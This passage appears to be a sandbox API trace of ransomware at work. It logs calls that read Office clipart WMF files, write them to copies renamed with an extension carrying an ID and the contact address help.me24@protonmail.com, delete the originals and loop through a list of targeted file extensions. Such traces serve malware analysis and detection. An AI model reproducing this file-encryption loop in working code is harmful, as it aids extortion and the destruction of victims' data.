	[0095.791] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x770, lpOverlapped=0x0) returned 1
	[0095.792] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.792] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.792] SetEndOfFile (hFile=0x300) returned 1
	[0095.792] CloseHandle (hObject=0x300) returned 1
	[0095.792] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.792] SetEndOfFile (hFile=0x380) returned 1
	[0095.793] CloseHandle (hObject=0x380) returned 1
	[0095.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1
	[0095.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0095.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0095.793] lstrlenW (lpString=".doc") returned 4
	[0095.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.793] lstrlenW (lpString=".docx") returned 5
	[0095.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.793] lstrlenW (lpString=".pdf") returned 4
	[0095.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.793] lstrlenW (lpString=".xls") returned 4
	[0095.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.793] lstrlenW (lpString=".xlsx") returned 5
	[0095.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.794] lstrlenW (lpString=".ppt") returned 4
	[0095.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0095.794] lstrlenW (lpString=".zip") returned 4
	[0095.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.794] lstrlenW (lpString=".rar") returned 4
	[0095.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.794] lstrlenW (lpString=".bz2") returned 4
	[0095.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.794] lstrlenW (lpString=".7z") returned 3
	[0095.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0095.794] lstrlenW (lpString=".dbf") returned 4
	[0095.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0095.794] lstrlenW (lpString=".1cd") returned 4
	[0095.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0095.794] lstrlenW (lpString=".jpg") returned 4
	[0095.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0095.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0095.794] lstrlenW (lpString=".doc") returned 4
	[0095.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.794] lstrlenW (lpString=".docx") returned 5
	[0095.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.794] lstrlenW (lpString=".pdf") returned 4
	[0096.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.103] lstrlenW (lpString=".xls") returned 4
	[0096.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.103] lstrlenW (lpString=".xlsx") returned 5
	[0096.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0096.103] lstrlenW (lpString=".ppt") returned 4
	[0096.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0096.104] lstrlenW (lpString=".zip") returned 4
	[0096.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.104] lstrlenW (lpString=".rar") returned 4
	[0096.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.104] lstrlenW (lpString=".bz2") returned 4
	[0096.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.104] lstrlenW (lpString=".7z") returned 3
	[0096.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0096.104] lstrlenW (lpString=".dbf") returned 4
	[0096.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0096.104] lstrlenW (lpString=".1cd") returned 4
	[0096.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0096.104] lstrlenW (lpString=".jpg") returned 4
	[0096.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.104] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.104] lstrlenW (lpString="J0086426.WMF") returned 12
	[0096.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.224] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=21782) returned 1
	[0096.224] CloseHandle (hObject=0x338) returned 1
	[0096.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220
	[0096.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.224] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.224] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.225] GetLastError () returned 0x0
	[0096.225] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x5516, lpOverlapped=0x0) returned 1
	[0096.226] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5520, lpOverlapped=0x0) returned 1
	[0096.228] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.228] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.228] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.228] CloseHandle (hObject=0x2b8) returned 1
	[0096.228] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.228] SetEndOfFile (hFile=0x338) returned 1
	[0096.229] CloseHandle (hObject=0x338) returned 1
	[0096.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1
	[0096.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.229] lstrlenW (lpString=".doc") returned 4
	[0096.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString=".docx") returned 5
	[0096.230] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0096.230] lstrlenW (lpString=".pdf") returned 4
	[0096.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString=".xls") returned 4
	[0096.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.230] lstrlenW (lpString=".xlsx") returned 5
	[0096.230] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0096.230] lstrlenW (lpString=".ppt") returned 4
	[0096.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.230] lstrlenW (lpString=".zip") returned 4
	[0096.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.230] lstrlenW (lpString=".rar") returned 4
	[0096.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString=".bz2") returned 4
	[0096.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString=".7z") returned 3
	[0096.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.230] lstrlenW (lpString=".dbf") returned 4
	[0096.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.230] lstrlenW (lpString=".1cd") returned 4
	[0096.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.230] lstrlenW (lpString=".jpg") returned 4
	[0096.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.230] lstrlenW (lpString=".doc") returned 4
	[0096.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.230] lstrlenW (lpString=".docx") returned 5
	[0096.230] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0096.230] lstrlenW (lpString=".pdf") returned 4
	[0096.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.231] lstrlenW (lpString=".xls") returned 4
	[0096.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.231] lstrlenW (lpString=".xlsx") returned 5
	[0096.231] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0096.231] lstrlenW (lpString=".ppt") returned 4
	[0096.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.231] lstrlenW (lpString=".zip") returned 4
	[0096.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.231] lstrlenW (lpString=".rar") returned 4
	[0096.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.231] lstrlenW (lpString=".bz2") returned 4
	[0096.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.231] lstrlenW (lpString=".7z") returned 3
	[0096.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.231] lstrlenW (lpString=".dbf") returned 4
	[0096.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.231] lstrlenW (lpString=".1cd") returned 4
	[0096.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68
	[0096.231] lstrlenW (lpString=".jpg") returned 4
	[0096.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.231] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.231] lstrlenW (lpString="J0086428.WMF") returned 12
	[0096.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.232] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=35346) returned 1
	[0096.232] CloseHandle (hObject=0x338) returned 1
	[0096.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220
	[0096.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.232] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.232] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.233] GetLastError () returned 0x0
	[0096.233] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x8a12, lpOverlapped=0x0) returned 1
	[0096.235] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x8a20, lpOverlapped=0x0) returned 1
	[0096.236] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.236] WriteFile (in: hFile=0x2b8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.236] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.236] CloseHandle (hObject=0x2b8) returned 1
	[0096.237] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.237] SetEndOfFile (hFile=0x338) returned 1
	[0096.238] CloseHandle (hObject=0x338) returned 1
	[0096.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1
	[0096.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.238] lstrlenW (lpString=".doc") returned 4
	[0096.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.238] lstrlenW (lpString=".docx") returned 5
	[0096.238] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0096.238] lstrlenW (lpString=".pdf") returned 4
	[0096.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.238] lstrlenW (lpString=".xls") returned 4
	[0096.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.238] lstrlenW (lpString=".xlsx") returned 5
	[0096.238] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0096.238] lstrlenW (lpString=".ppt") returned 4
	[0096.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.238] lstrlenW (lpString=".zip") returned 4
	[0096.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.239] lstrlenW (lpString=".rar") returned 4
	[0096.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.239] lstrlenW (lpString=".bz2") returned 4
	[0096.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.239] lstrlenW (lpString=".7z") returned 3
	[0096.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.239] lstrlenW (lpString=".dbf") returned 4
	[0096.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.239] lstrlenW (lpString=".1cd") returned 4
	[0096.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.239] lstrlenW (lpString=".jpg") returned 4
	[0096.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.239] lstrlenW (lpString=".doc") returned 4
	[0096.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.239] lstrlenW (lpString=".docx") returned 5
	[0096.239] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0096.239] lstrlenW (lpString=".pdf") returned 4
	[0096.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.239] lstrlenW (lpString=".xls") returned 4
	[0096.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.239] lstrlenW (lpString=".xlsx") returned 5
	[0096.239] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0096.239] lstrlenW (lpString=".ppt") returned 4
	[0096.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.239] lstrlenW (lpString=".zip") returned 4
	[0096.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.239] lstrlenW (lpString=".rar") returned 4
	[0096.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.240] lstrlenW (lpString=".bz2") returned 4
	[0096.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.240] lstrlenW (lpString=".7z") returned 3
	[0096.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.240] lstrlenW (lpString=".dbf") returned 4
	[0096.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.240] lstrlenW (lpString=".1cd") returned 4
	[0096.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68
	[0096.240] lstrlenW (lpString=".jpg") returned 4
	[0096.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.240] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.240] lstrlenW (lpString="J0086432.WMF") returned 12
	[0096.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.241] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=33434) returned 1
	[0096.241] CloseHandle (hObject=0x338) returned 1
	[0096.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220
	[0096.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0096.241] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.242] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0096.242] GetLastError () returned 0x0
	[0096.242] ReadFile (in: hFile=0x338, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x829a, lpOverlapped=0x0) returned 1
